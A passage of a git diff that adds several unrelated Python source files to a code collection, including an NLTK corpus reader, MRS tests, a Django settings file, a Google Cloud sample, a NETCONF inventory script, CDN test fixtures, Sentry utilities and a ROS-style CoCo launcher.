+    else:
+        try:
+            return json.load(file)
+        except:
+            return []
+
+
+if __name__ == "__main__":
+    parser = AP(description="Task/Todo List Manager")
+    group = parser.add_mutually_exclusive_group(required=True)
+    group.add_argument("--list",
+                       help="List all task items",
+                       action="store_true")
+    group.add_argument("--add",
+                       help="Add an item",
+                       type=str,
+                       dest="newItem",
+                       metavar="DESC")
+    group.add_argument("--del",
+                       help="Delete an item",
+                       type=int,
+                       dest="delItem",
+                       metavar="NUM")
+    group.add_argument("--done",
+                       help="Set an item as 'done'",
+                       type=int,
+                       dest="doneItem",
+                       metavar="NUM")
+    args = parser.parse_args()
+
+    userfile = path.expanduser("~/.tasker")
+    taskList = readFile(userfile)
+
+    if args.list:
+        for task in taskList:
+            printTask(task)
+    elif args.newItem:
+        pass
diff --git a/pool/shard000/Python/0007691_dependencycorpusreader.py b/pool/shard000/Python/0007691_dependencycorpusreader.py
new file mode 100644
index 0000000000000000000000000000000000000000..68db5d4906e1a35d8a2ff88adbc95ab13033be39
--- /dev/null
+++ b/pool/shard000/Python/0007691_dependencycorpusreader.py
@@ -0,0 +1,101 @@
+# Natural Language Toolkit: Dependency Corpus Reader
+#
+# Copyright (C) 2001-2015 NLTK Project
+# Author: Kepa Sarasola <kepa.sarasola@ehu.es>
+#         Iker Manterola <returntothehangar@hotmail.com>
+#
+# URL: <http://nltk.org/>
+# For license information, see LICENSE.TXT
+
+import codecs
+
+from dependencygraph import DependencyGraph
+from nltk.tokenize import *
+
+from nltk.corpus.reader.util import *
+from nltk.corpus.reader.api import *
+
+class DependencyCorpusReader(SyntaxCorpusReader):
+
+    def __init__(self, root, fileids, encoding='utf8',
+                 word_tokenizer=TabTokenizer(),
+                 sent_tokenizer=RegexpTokenizer('\n', gaps=True),
+                 para_block_reader=read_blankline_block):
+
+        CorpusReader.__init__(self, root, fileids, encoding)
+
+    #########################################################
+
+    def raw(self, fileids=None):
+        """
+        :return: the given file(s) as a single string.
+        :rtype: str
+        """
+        result = []
+        for fileid, encoding in self.abspaths(fileids, include_encoding=True):
+            if isinstance(fileid, PathPointer):
+                result.append(fileid.open(encoding=encoding).read())
+            else:
+                with codecs.open(fileid, "r", encoding) as fp:
+                    result.append(fp.read())
+        return concat(result)
+
+    def words(self, fileids=None):
+        return concat([DependencyCorpusView(fileid, False, False, False, encoding=enc)
+                       for fileid, enc in self.abspaths(fileids, include_encoding=True)])
+
+    def tagged_words(self, fileids=None):
+        return concat([DependencyCorpusView(fileid, True, False, False, encoding=enc)
+                       for fileid, enc in self.abspaths(fileids, include_encoding=True)])
+
+    def sents(self, fileids=None):
+        return concat([DependencyCorpusView(fileid, False, True, False, encoding=enc)
+                       for fileid, enc in self.abspaths(fileids, include_encoding=True)])
+
+    def tagged_sents(self, fileids=None):
+            return concat([DependencyCorpusView(fileid, True, True, False, encoding=enc)
+                           for fileid, enc in self.abspaths(fileids, include_encoding=True)])
+
+    def parsed_sents(self, fileids=None):
+        sents=concat([DependencyCorpusView(fileid, False, True, True, encoding=enc)
+                      for fileid, enc in self.abspaths(fileids, include_encoding=True)])
+        return [DependencyGraph(sent) for sent in sents]
+
+
+class DependencyCorpusView(StreamBackedCorpusView):
+    _DOCSTART = '-DOCSTART- -DOCSTART- O\n' #dokumentu hasiera definitzen da
+
+    def __init__(self, corpus_file, tagged, group_by_sent, dependencies,
+                 chunk_types=None, encoding='utf8'):
+        self._tagged = tagged
+        self._dependencies = dependencies
+        self._group_by_sent = group_by_sent
+        self._chunk_types = chunk_types
+        StreamBackedCorpusView.__init__(self, corpus_file, encoding=encoding)
+
+    def read_block(self, stream):
+        # Read the next sentence.
+        sent = read_blankline_block(stream)[0].strip()
+        # Strip off the docstart marker, if present.
+        if sent.startswith(self._DOCSTART):
+            sent = sent[len(self._DOCSTART):].lstrip()
+
+        # extract word and tag from any of the formats
+        if not self._dependencies:
+            lines = [line.split('\t') for line in sent.split('\n')]
+            if len(lines[0]) == 3 or len(lines[0]) == 4:
+                sent = [(line[0], line[1]) for line in lines]
+            elif len(lines[0]) == 10:
+                sent = [(line[1], line[4]) for line in lines]
+            else:
+                raise ValueError('Unexpected number of fields in dependency tree file')
+
+            # discard tags if they weren't requested
+            if not self._tagged:
+                sent = [word for (word, tag) in sent]
+
+        # Return the result.
+        if self._group_by_sent:
+            return [sent]
+        else:
+            return list(sent)
diff --git a/pool/shard000/Python/0007697_mrs_Mrs_test.py b/pool/shard000/Python/0007697_mrs_Mrs_test.py
new file mode 100644
index 0000000000000000000000000000000000000000..af8134a347825b8e98242d8a025a1b461d02b491
--- /dev/null
+++ b/pool/shard000/Python/0007697_mrs_Mrs_test.py
@@ -0,0 +1,130 @@
+# -*- coding: UTF-8 -*-
+
+import pytest
+
+from delphin.mrs.components import (
+    Pred,
+    ElementaryPredication as EP,
+    elementarypredications as eps,
+    HandleConstraint as Hcons,
+    hcons,
+    IndividualConstraint as Icons,
+    icons,
+)
+from delphin.mrs.config import (FIRST_NODEID, UNKNOWNSORT)
+from delphin.mrs import Mrs
+#from delphin.mrs import simplemrs  # for convenience in later tests
+from delphin.exceptions import XmrsError
+
+sp = Pred.stringpred
+
+
+# for convenience
+def check_xmrs(x, top, index, xarg, eplen, hconslen, iconslen, varslen):
+    assert x.top == top
+    assert x.index == index
+    assert x.xarg == xarg
+    assert len(x.eps()) == eplen
+    assert len(x.hcons()) == hconslen
+    assert len(x.icons()) == iconslen
+    assert len(x.variables()) == varslen
+
+
+class TestMrs():
+    def test_empty(self):
+        x = Mrs()
+        # Mrs view
+        assert len(eps(x)) == 0
+        assert len(hcons(x)) == 0
+        assert len(icons(x)) == 0
+        # Xmrs members
+        check_xmrs(x, None, None, None, 0, 0, 0, 0)
+
+    def test_single_ep(self):
+        # basic, one EP, no TOP
+        x = Mrs(rels=[EP(10, sp('"_rain_v_1_rel"'), 'h1')])
+        check_xmrs(x, None, None, None, 1, 0, 0, 1)
+        # variables don't need to be created predictably, but it's nice
+        # to get the expected values for simple cases
+        assert x.label(10) == 'h1'
+        assert x.ep(10).iv == None
+        # now with ARG0
+        x = Mrs(rels=[EP(10, sp('"_rain_v_1_rel"'), 'h1', {'ARG0': 'e2'})])
+        check_xmrs(x, None, None, None, 1, 0, 0, 2)
+        assert x.label(10) == 'h1'
+        assert x.ep(10).iv == 'e2'
+        # now with TOP
+        x = Mrs(
+            top='h0',
+            rels=[EP(10, sp('"_rain_v_1_rel"'), 'h1', {'ARG0': 'e2'})],
+            hcons=[('h0', 'qeq', 'h1')]
+        )
+        check_xmrs(x, 'h0', None, None, 1, 1, 0, 3)
+        assert x.label(10) == 'h1'
+        assert x.ep(10).iv == 'e2'
+
+    def test_to_dict(self):
+        assert Mrs().to_dict() == {
+            'relations': [], 'constraints': [], 'variables': {}
+        }
+
+        x = Mrs(rels=[EP(10, sp('"_rain_v_1_rel"'), 'h1', {'ARG0': 'e2'})])
+        assert x.to_dict() == {
+            'relations': [
+                {'label': 'h1', 'predicate': '_rain_v_1',
+                 'arguments': {'ARG0': 'e2'}}
+            ],
+            'constraints': [],
+            'variables': {'h1': {'type': 'h'}, 'e2': {'type': 'e'}}
+        }
+
+        x = Mrs(
+            top='h0',
+            rels=[EP(10, sp('"_rain_v_1_rel"'), 'h1', {'ARG0': 'e2'})],
+            hcons=[('h0', 'qeq', 'h1')],
+            vars={'e2': {'SF': 'prop', 'TENSE': 'pres'}}
+        )
+        assert x.to_dict() == {
+            'top': 'h0',
+            'relations': [
+                {'label': 'h1', 'predicate': '_rain_v_1',
+                 'arguments': {'ARG0': 'e2'}}
+            ],
+            'constraints': [{'relation': 'qeq', 'high': 'h0', 'low': 'h1'}],
+            'variables': {
+                'h0': {'type': 'h'}, 'h1': {'type': 'h'},
+                'e2': {'type': 'e',
+                       'properties': {'SF': 'prop', 'TENSE': 'pres'}}
+            }
+        }
+        assert x.to_dict(properties=False) == {
+            'top': 'h0',
+            'relations': [
+                {'label': 'h1', 'predicate': '_rain_v_1',
+                 'arguments': {'ARG0': 'e2'}}
+            ],
+            'constraints': [{'relation': 'qeq', 'high': 'h0', 'low': 'h1'}],
+            'variables': {
+                'h0': {'type': 'h'}, 'h1': {'type': 'h'},
+                'e2': {'type': 'e'}
+            }
+        }
+
+
+    def test_from_dict(self):
+        assert Mrs.from_dict({}) == Mrs()
+
+        m1 = Mrs.from_dict({
+            'relations': [
+                {'label': 'h1', 'predicate': '_rain_v_1',
+                 'arguments': {'ARG0': 'e2'}}
+            ],
+            'constraints': [],
+            'variables': {'h1': {'type': 'h'}, 'e2': {'type': 'e'}}
+        })
+        m2 = Mrs(
+            rels=[
+                EP(FIRST_NODEID, sp('"_rain_v_1_rel"'), 'h1', {'ARG0': 'e2'})
+            ]
+        )
+        assert m1 == m2
diff --git a/pool/shard000/Python/0007698_settings.py b/pool/shard000/Python/0007698_settings.py
new file mode 100644
index 0000000000000000000000000000000000000000..b1f6c31baa44bb9a23cb5de9f23f25e49c0f0eb4
--- /dev/null
+++ b/pool/shard000/Python/0007698_settings.py
@@ -0,0 +1,135 @@
+# Build paths inside the project like this: os.path.join(BASE_DIR, ...)
+import os
+import socket
+
+BASE_DIR = os.path.dirname(os.path.dirname(__file__))
+
+# openshift is our PAAS for now.
+ON_PAAS = 'OPENSHIFT_REPO_DIR' in os.environ
+
+
+# Quick-start development settings - unsuitable for production
+# See https://docs.djangoproject.com/en/1.6/howto/deployment/checklist/
+
+if ON_PAAS:
+    SECRET_KEY = os.environ['OPENSHIFT_SECRET_TOKEN']
+else:
+    # SECURITY WARNING: keep the secret key used in production secret!
+    SECRET_KEY = ')_7av^!cy(wfx=k#3*7x+(=j^fzv+ot^1@sh9s9t=8$bu@r(z$'
+
+# SECURITY WARNING: don't run with debug turned on in production!
+# adjust to turn off when on Openshift, but allow an environment variable to override on PAAS
+DEBUG = not ON_PAAS
+DEBUG = DEBUG or 'DEBUG' in os.environ
+if ON_PAAS and DEBUG:
+    print("*** Warning - Debug mode is on ***")
+
+TEMPLATE_DEBUG = True
+
+if ON_PAAS:
+    ALLOWED_HOSTS = [os.environ['OPENSHIFT_APP_DNS'], socket.gethostname()]
+else:
+    ALLOWED_HOSTS = []
+
+
+# Application definition
+
+INSTALLED_APPS = (
+    'django.contrib.admin',
+    'django.contrib.auth',
+    'django.contrib.contenttypes',
+    'django.contrib.sessions',
+    'django.contrib.messages',
+    'django.contrib.staticfiles',
+    'app1',
+)
+
+MIDDLEWARE_CLASSES = (
+    'django.contrib.sessions.middleware.SessionMiddleware',
+    'django.middleware.common.CommonMiddleware',
+    'django.middleware.csrf.CsrfViewMiddleware',
+    'django.contrib.auth.middleware.AuthenticationMiddleware',
+    'django.contrib.messages.middleware.MessageMiddleware',
+    'django.middleware.clickjacking.XFrameOptionsMiddleware',
+)
+
+ROOT_URLCONF = 'mysite.urls'
+
+WSGI_APPLICATION = 'mysite.wsgi.application'
+
+# Database
+# https://docs.djangoproject.com/en/1.6/ref/settings/#databases
+
+if ON_PAAS:
+    # determine if we are on MySQL or POSTGRESQL
+    if "OPENSHIFT_POSTGRESQL_DB_USERNAME" in os.environ: 
+    
+        DATABASES = {
+            'default': {
+                'ENGINE': 'django.db.backends.postgresql_psycopg2',  
+                'NAME':     os.environ['OPENSHIFT_APP_NAME'],
+                'USER':     os.environ['OPENSHIFT_POSTGRESQL_DB_USERNAME'],
+                'PASSWORD': os.environ['OPENSHIFT_POSTGRESQL_DB_PASSWORD'],
+                'HOST':     os.environ['OPENSHIFT_POSTGRESQL_DB_HOST'],
+                'PORT':     os.environ['OPENSHIFT_POSTGRESQL_DB_PORT'],
+            }
+        }
+        
+    elif "OPENSHIFT_MYSQL_DB_USERNAME" in os.environ: 
+    
+        DATABASES = {
+            'default': {
+                'ENGINE': 'django.db.backends.mysql',
+                'NAME':     os.environ['OPENSHIFT_APP_NAME'],
+                'USER':     os.environ['OPENSHIFT_MYSQL_DB_USERNAME'],
+                'PASSWORD': os.environ['OPENSHIFT_MYSQL_DB_PASSWORD'],
+                'HOST':     os.environ['OPENSHIFT_MYSQL_DB_HOST'],
+                'PORT':     os.environ['OPENSHIFT_MYSQL_DB_PORT'],
+            }
+        }
+
+        
+else:
+    # stock django
+    DATABASES = {
+        'default': {
+            'ENGINE': 'django.db.backends.sqlite3',
+            'NAME': os.path.join(BASE_DIR, 'db.sqlite3'),
+        }
+    }
+
+# Internationalization
+# https://docs.djangoproject.com/en/1.6/topics/i18n/
+
+LANGUAGE_CODE = 'en-us'
+
+TIME_ZONE = 'UTC'
+
+USE_I18N = True
+
+USE_L10N = True
+
+USE_TZ = True
+
+
+# Static files (CSS, JavaScript, Images)
+# https://docs.djangoproject.com/en/1.6/howto/static-files/
+STATIC_URL = '/static/'
+STATIC_ROOT = os.path.join(BASE_DIR, 'wsgi','static')
+STATICFILES_FINDERS = (
+    'django.contrib.staticfiles.finders.FileSystemFinder',
+    'django.contrib.staticfiles.finders.AppDirectoriesFinder',
+
+)
+
+TEMPLATE_DIRS = (
+    os.path.join(BASE_DIR, 'static/templates'),
+)
+
+STATICFILES_DIRS = (
+    # Put strings here, like "/home/html/static" or "C:/www/django/static".
+    # Always use forward slashes, even on Windows.
+    # Don't forget to use absolute paths, not relative paths.
+    os.path.join(BASE_DIR,"static"),
+)
+
diff --git a/pool/shard000/Python/0007699_vmmigration_v1_generated_vm_migration_list_target_projects_async.py b/pool/shard000/Python/0007699_vmmigration_v1_generated_vm_migration_list_target_projects_async.py
new file mode 100644
index 0000000000000000000000000000000000000000..15f63f6b0cf1e124931e93d23cfc14f02b6b12ec
--- /dev/null
+++ b/pool/shard000/Python/0007699_vmmigration_v1_generated_vm_migration_list_target_projects_async.py
@@ -0,0 +1,47 @@
+# -*- coding: utf-8 -*-
+# Copyright 2022 Google LLC
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#     http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+#
+# Generated code. DO NOT EDIT!
+#
+# Snippet for ListTargetProjects
+# NOTE: This snippet has been automatically generated for illustrative purposes only.
+# It may require modifications to work in your environment.
+
+# To install the latest published package dependency, execute the following:
+#   python3 -m pip install google-cloud-vm-migration
+
+
+# [START vmmigration_v1_generated_VmMigration_ListTargetProjects_async]
+from google.cloud import vmmigration_v1
+
+
+async def sample_list_target_projects():
+    # Create a client
+    client = vmmigration_v1.VmMigrationAsyncClient()
+
+    # Initialize request argument(s)
+    request = vmmigration_v1.ListTargetProjectsRequest(
+        parent="parent_value",
+        page_token="page_token_value",
+    )
+
+    # Make the request
+    page_result = client.list_target_projects(request=request)
+
+    # Handle the response
+    async for response in page_result:
+        print(response)
+
+# [END vmmigration_v1_generated_VmMigration_ListTargetProjects_async]
diff --git a/pool/shard000/Python/0007702_get-inventory.py b/pool/shard000/Python/0007702_get-inventory.py
new file mode 100644
index 0000000000000000000000000000000000000000..0a279021f73e712217a2f0b2d44b46d1bf3628b8
--- /dev/null
+++ b/pool/shard000/Python/0007702_get-inventory.py
@@ -0,0 +1,19 @@
+#!/usr/bin/env python
+
+from ncclient import manager
+
+def connect(host, port, user, password):
+    conn = manager.connect(host=host,
+            port=port,
+            username=user,
+            password=password,
+            timeout=10,
+            hostkey_verify=False)
+
+
+    result = conn.get_chassis_inventory()
+    print "Chassis:", result.xpath('//chassis/description')[0].text
+    print "Chassis Serial-Number:", result.xpath('//chassis/serial-number')[0].text
+
+if __name__ == '__main__':
+    connect('router', 830, 'netconf', 'juniper!')
diff --git a/pool/shard000/Python/0007703_base.py b/pool/shard000/Python/0007703_base.py
new file mode 100644
index 0000000000000000000000000000000000000000..27f55fdb984cc2c7f99cfa27e1c165416eb3db82
--- /dev/null
+++ b/pool/shard000/Python/0007703_base.py
@@ -0,0 +1,185 @@
+# Copyright (c) 2014 Rackspace, Inc.
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#    http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or
+# implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+import random
+import string
+import uuid
+
+from cafe.drivers.unittest import fixtures
+import jsonschema
+
+from tests.api.utils import client
+from tests.api.utils import config
+
+
+class TestBase(fixtures.BaseTestFixture):
+
+    """Child class of fixtures.BaseTestFixture for testing CDN.
+
+    Inherit from this and write your test methods. If the child class defines
+    a prepare(self) method, this method will be called before executing each
+    test method.
+    """
+
+    @classmethod
+    def setUpClass(cls):
+
+        super(TestBase, cls).setUpClass()
+
+        import requests.packages.urllib3
+        requests.packages.urllib3.disable_warnings()
+
+        cls.auth_config = config.AuthConfig()
+        if cls.auth_config.auth_enabled:
+            cls.auth_client = client.AuthClient()
+            auth_token, cls.user_project_id = \
+                cls.auth_client.authenticate_user(
+                    cls.auth_config.base_url,
+                    cls.auth_config.user_name,
+                    cls.auth_config.api_key)
+        else:
+            auth_token = str(uuid.uuid4())
+            cls.user_project_id = str(uuid.uuid4())
+
+        cls.test_config = config.TestConfig()
+
+        cls.config = config.PoppyConfig()
+        if cls.test_config.project_id_in_url:
+            cls.url = cls.config.base_url + '/v1.0/' + cls.user_project_id
+        else:
+            cls.url = cls.config.base_url + '/v1.0'
+
+        cls.client = client.PoppyClient(cls.url, auth_token,
+                                        cls.user_project_id,
+                                        serialize_format='json',
+                                        deserialize_format='json')
+
+        if cls.auth_config.multi_user:
+            alt_auth_token, alt_project_id = cls.auth_client.authenticate_user(
+                cls.auth_config.base_url,
+                cls.auth_config.alt_user_name,
+                cls.auth_config.alt_api_key)
+            if cls.test_config.project_id_in_url:
+                alt_url = cls.config.base_url + '/v1.0/' + alt_project_id
+            else:
+                alt_url = cls.config.base_url + '/v1.0'
+
+            cls.alt_user_client = client.PoppyClient(
+                alt_url, alt_auth_token,
+                alt_project_id,
+                serialize_format='json',
+                deserialize_format='json')
+
+        if cls.test_config.run_operator_tests:
+            operator_auth_token, operator_project_id = \
+                cls.auth_client.authenticate_user(
+                    cls.auth_config.base_url,
+                    cls.auth_config.operator_user_name,
+                    cls.auth_config.operator_api_key)
+            if cls.test_config.project_id_in_url:
+                cls.operator_url = cls.config.base_url + '/v1.0/' + \
+                    operator_project_id
+            else:
+                cls.operator_url = cls.config.base_url + '/v1.0'
+
+            cls.operator_client = client.PoppyClient(
+                cls.operator_url, operator_auth_token, operator_project_id,
+                serialize_format='json',
+                deserialize_format='json')
+
+            cls.dns_config = config.DNSConfig()
+            cls.dns_client = client.DNSClient(cls.dns_config.dns_username,
+                                              cls.dns_config.dns_api_key)
+
+            cls.akamai_config = config.AkamaiConfig()
+
+    def generate_random_string(self, prefix='API-Tests', length=12):
+        """Generates a random string of given prefix & length"""
+        random_string = ''.join(random.choice(
+            string.ascii_lowercase + string.digits)
+            for _ in range(length))
+        random_string = prefix + random_string
+        return random_string
+
+    def assertSchema(self, response_json, expected_schema):
+        """Verify response schema aligns with the expected schema."""
+        try:
+            jsonschema.validate(response_json, expected_schema)
+        except jsonschema.ValidationError as message:
+            assert False, message
+
+    @property
+    def test_flavor(self):
+        if self.test_config.generate_flavors:
+            provider_name = self.test_config.generated_provider
+            # create the flavor
+            flavor_id = str(uuid.uuid1())
+            self.client.create_flavor(
+                flavor_id=flavor_id,
+                provider_list=[{
+                    "provider": provider_name,
+                    "links": [{"href": "www.{0}.com".format(provider_name),
+                               "rel": "provider_url"}]}])
+        else:
+            flavor_id = self.test_config.default_flavor
+
+        return flavor_id
+
+    def setup_service(self, service_name, domain_list, origin_list,
+                      caching_list=[], restrictions_list=[], flavor_id=None,
+                      log_delivery=False):
+        resp = self.client.create_service(
+            service_name=service_name,
+            domain_list=domain_list,
+            origin_list=origin_list,
+            caching_list=caching_list,
+            restrictions_list=restrictions_list,
+            flavor_id=flavor_id,
+            log_delivery=log_delivery)
+
+        self.assertEqual(resp.status_code, 202)
+        self.service_location = resp.headers['location']
+        self.client.wait_for_service_status(
+            location=self.service_location,
+            status='DEPLOYED',
+            abort_on_status='FAILED',
+            retry_interval=self.test_config.status_check_retry_interval,
+            retry_timeout=self.test_config.status_check_retry_timeout)
+
+        return resp
+
+    def assert_patch_service_details(self, actual_response, expected_response):
+        self.assertEqual(actual_response['name'],
+                         expected_response['name'])
+        self.assertEqual(sorted(actual_response['origins']),
+                         sorted(expected_response['origins']))
+        self.assertEqual(sorted(actual_response['caching']),
+                         sorted(expected_response['caching']))
+        self.assertEqual(sorted(actual_response['restrictions']),
+                         sorted(expected_response['restrictions']))
+        self.assertEqual(actual_response['flavor_id'],
+                         expected_response['flavor_id'])
+
+        for item in actual_response['domains']:
+            if (('certificate' in item) and
+                    (item['certificate'] == 'shared')):
+                item['domain'] = item['domain'].split('.')[0]
+        self.assertEqual(sorted(actual_response['domains']),
+                         sorted(expected_response['domains']))
+
+    @classmethod
+    def tearDownClass(cls):
+        """Deletes the added resources."""
+        super(TestBase, cls).tearDownClass()
diff --git a/pool/shard000/Python/0007704_utils.py b/pool/shard000/Python/0007704_utils.py
new file mode 100644
index 0000000000000000000000000000000000000000..08b3b68de5f4595a593e2f317c0d4ca058b8419b
--- /dev/null
+++ b/pool/shard000/Python/0007704_utils.py
@@ -0,0 +1,110 @@
+from __future__ import absolute_import
+
+import re
+import six
+import logging
+
+from sentry.attachments import attachment_cache
+from sentry.coreapi import cache_key_for_event
+from sentry.stacktraces.processing import find_stacktraces_in_data
+from sentry.utils.safe import get_path
+
+logger = logging.getLogger(__name__)
+
+# Regex to parse OS versions from a minidump OS string.
+VERSION_RE = re.compile(r"(\d+\.\d+\.\d+)\s+(.*)")
+
+# Regex to guess whether we're dealing with Windows or Unix paths.
+WINDOWS_PATH_RE = re.compile(r"^([a-z]:\\|\\\\)", re.IGNORECASE)
+
+# Event platforms that could contain native stacktraces
+NATIVE_PLATFORMS = ("cocoa", "native")
+
+# Debug image types that can be handled by the symbolicator
+NATIVE_IMAGE_TYPES = (
+    "apple",  # Deprecated in favor of "macho"
+    "symbolic",  # Generic if type is not known
+    "elf",  # Linux
+    "macho",  # macOS, iOS
+    "pe",  # Windows
+)
+
+
+def is_native_platform(platform):
+    return platform in NATIVE_PLATFORMS
+
+
+def is_native_image(image):
+    return (
+        bool(image)
+        and image.get("type") in NATIVE_IMAGE_TYPES
+        and image.get("image_addr") is not None
+        and image.get("image_size") is not None
+        and (image.get("debug_id") or image.get("id") or image.get("uuid")) is not None
+    )
+
+
+def native_images_from_data(data):
+    return get_path(data, "debug_meta", "images", default=(), filter=is_native_image)
+
+
+def is_native_event(data):
+    if is_native_platform(data.get("platform")):
+        return True
+
+    for stacktrace in find_stacktraces_in_data(data):
+        if any(is_native_platform(x) for x in stacktrace.platforms):
+            return True
+
+    return False
+
+
+def image_name(pkg):
+    if not pkg:
+        return pkg
+    split = "\\" if WINDOWS_PATH_RE.match(pkg) else "/"
+    return pkg.rsplit(split, 1)[-1]
+
+
+def get_sdk_from_event(event):
+    sdk_info = get_path(event, "debug_meta", "sdk_info")
+    if sdk_info:
+        return sdk_info
+
+    os = get_path(event, "contexts", "os")
+    if os and os.get("type") == "os":
+        return get_sdk_from_os(os)
+
+
+def get_sdk_from_os(data):
+    if data.get("name") is None or data.get("version") is None:
+        return
+
+    try:
+        version = six.text_type(data["version"]).split("-", 1)[0] + ".0" * 3
+        system_version = tuple(int(x) for x in version.split(".")[:3])
+    except ValueError:
+        return
+
+    return {
+        "sdk_name": data["name"],
+        "version_major": system_version[0],
+        "version_minor": system_version[1],
+        "version_patchlevel": system_version[2],
+        "build": data.get("build"),
+    }
+
+
+def signal_from_data(data):
+    exceptions = get_path(data, "exception", "values", filter=True)
+    signal = get_path(exceptions, 0, "mechanism", "meta", "signal", "number")
+    if signal is not None:
+        return int(signal)
+
+    return None
+
+
+def get_event_attachment(data, attachment_type):
+    cache_key = cache_key_for_event(data)
+    attachments = attachment_cache.get(cache_key) or []
+    return next((a for a in attachments if a.type == attachment_type), None)
diff --git a/pool/shard000/Python/0007707_xcoco_launcher.py b/pool/shard000/Python/0007707_xcoco_launcher.py
new file mode 100644
index 0000000000000000000000000000000000000000..717f9fdc352f684a6ec48b7a8c517c5e9c525adc
--- /dev/null
+++ b/pool/shard000/Python/0007707_xcoco_launcher.py
@@ -0,0 +1,187 @@
+#!/usr/bin/env python
+#
+# Python CoCo launcher with replacement syntax of ROS Launcher (2017)
+#
+# Future: support includes 
+# Future: implement find
+import re
+import argparse
+import xml.etree.ElementTree as ET
+import os
+import time
+import subprocess
+
+def xenv(a):
+	q = os.environ.get(a)
+	if q is None:
+		raise Exception("missing environment variable"+a)
+	else:
+		return q
+def xoptenv(a):
+	a,b = a.split(" ")
+	return os.environ.get(a,b)
+def xarg(a,eargs):
+	q = eargs.get(a)
+	if q is None:
+		if a in eargs:
+			raise Exception("mandatory argument"+a)
+		else:
+			raise Exception("unknown argument"+a)
+	else:
+		return q
+def xfind(a):
+	return ""
+def xanon(n):
+	return n+str(time.time())
+def fixme(m,eargs,gg):
+	what = m.group(1)
+	rest = m.group(2).strip()
+	fx = gg.get(what)
+	if fx is not None:
+		return fx(rest)
+	else:
+		return ""
+def evaltrue(s):
+	if s == "true" or s == "1":
+		return True
+	elif s == "false" or s == "0":
+		return False
+	return eval(s)
+
+resub = re.compile(r'\$\(([a-z]+)([^\)]*)\)')
+def process(et,eargs,gg):
+
+	changed = False
+	afx = lambda m: fixme(m,eargs,gg)
+	# first replace
+	newvals = []
+	for k,v in et.attrib.iteritems():
+		if v.startswith("$(eval"):
+			newvals.append((k,str(eval(v[6:-1],gg))))
+		elif v.find("$(") >= 0:
+			newvals.append((k,resub.sub(afx,v)))
+	changed = len(newvals) > 0
+	for k,v in newvals:
+		et.attrib[k] = v
+
+	if "if" in et.attrib:
+		s = evaltrue(et.attrib["if"])
+		changed = True
+		if not s:
+			# exclude		
+			et.tag = "_" + et.tag	
+			return True
+	elif "unless" in et.attrib:
+		s = evaltrue(et.attrib["unless"])
+		if s:
+			et.tag = "_" + et.tag	
+			return True
+	if et.tag == "arg":
+		n = et.attrib["name"]
+		# priority: specified, xml, none
+		v = eargs.get(n,et.attrib.get("value",None))
+		eargs[n] = v
+
+	# for all children
+	for c in et.iter():
+		if c != et:
+			cc = process(c,eargs,gg)
+			changed = changed or cc
+
+	# and then for text?
+	t = et.text
+	if t is not None:
+		if t.startswith("$(eval"):
+			et.text = str(eval(t[6:-1],gg))
+			changed = True
+		elif t.find("$(") >= 0:
+			et.text = resub.sub(afx,t)
+			changed = True
+
+	if et.tag == "include":
+
+		print "include not supported in xcoco_launcher, leaved are they are"
+		return
+		infile = et.attrib["file"]
+		print "loading include infile",infile
+		tree = ET.parse(x)
+		seargs = {}
+		for p in et.findall("param"):
+			seargs[p.attrib["name"]] = p.attrib["value"]
+		g = g.copy()
+		# update
+		g["arg"] = lambda x: xarg(x,seargs)
+		c = process(tree.getroot(),seargs,g)
+
+		# proceed by replacing the content
+
+
+	return True	
+def main():
+	parser = argparse.ArgumentParser(description='CoCo Launcher X')
+	parser.add_argument('-x','--config-file',action="append",help="Xml file with the configurations of the application")
+	parser.add_argument('-d','--disabled',action="append",help="List of components disabled in the execution")	
+	parser.add_argument('-p','--profiling',type=int,help="Enable the collection of statistics of the executions. Use only during debug as it slow down the performances.")
+	parser.add_argument('-g','--graph',help="Create the graph of the various components and of their connections.")
+	parser.add_argument('-t','--xml_template',help="Print the xml template for all the components contained in the library")
+	parser.add_argument('-w','--web_server', help="Instantiate a web server that allows to view statics about the executions.",type=int,default=0)
+	parser.add_argument('-r','--web_root',help="set document root for web server")
+	parser.add_argument('-l','--latency',help="Set the two task between which calculate the latency. Peer are not valid.")
+	parser.add_argument('--ros',action="store_true",help="invokes ros_coco_launcher")
+	parser.add_argument('--none',action="store_true",help="just prints arguments")
+	parser.add_argument('arg',help="Arguments as x:=y",nargs="*")
+	args = parser.parse_args()
+
+	eargs = {}
+	for aa in args.arg:		
+		a,b = aa.split(":=")
+		eargs[a] = b
+
+	g = dict(arg=lambda x: xarg(x,eargs),env=xenv,optenv=xoptenv,find=xfind,anon=xanon)
+
+
+	oa = []
+	for x in args.config_file:
+		tree = ET.parse(x)
+		# attribute replace
+		c = process(tree.getroot(),eargs,g)
+		if c:
+			# if/unless
+			xx = x + ".gen"
+			open(xx,"wb").write(ET.tostring(tree.getroot()))
+		else:
+			xx = x 
+		oa.append(xx)
+
+	args.config_file = oa
+	if args.ros:
+		goodargs = ["rosrun","coco_ros_launcher","coco_ros_launcher_node"]
+	else:
+		goodargs = ["coco_launcher"]
+	# THIS IS MANUAL sorry
+	for l in args.config_file:
+		goodargs.append("-x")
+		goodargs.append(l)
+	if args.disabled != None:
+		for l in args.disabled:
+			goodargs.append("-d")
+			goodargs.append(l)
+	aa = ["profiling","graph","web_root","web_server","latency","xml_template"]
+	for a in aa:
+		w = getattr(args,a)
+		if w is not None:
+			goodargs.append("--" + a +"=" + str(w))
+	if args.profiling:
+		pass
+
+
+	# Build Arguments: ignore free standing args, keep the rest
+	#goodargs = [getattr(x)]
+	if not args.none:
+		subprocess.call(goodargs)
+	else:
+		print goodargs
+
+
+if __name__ == '__main__':
+	main()
\ No newline at end of file
diff --git a/pool/shard000/Python/0007709_paramiko_example.py b/pool/shard000/Python/0007709_paramiko_example.py
new file mode 100644
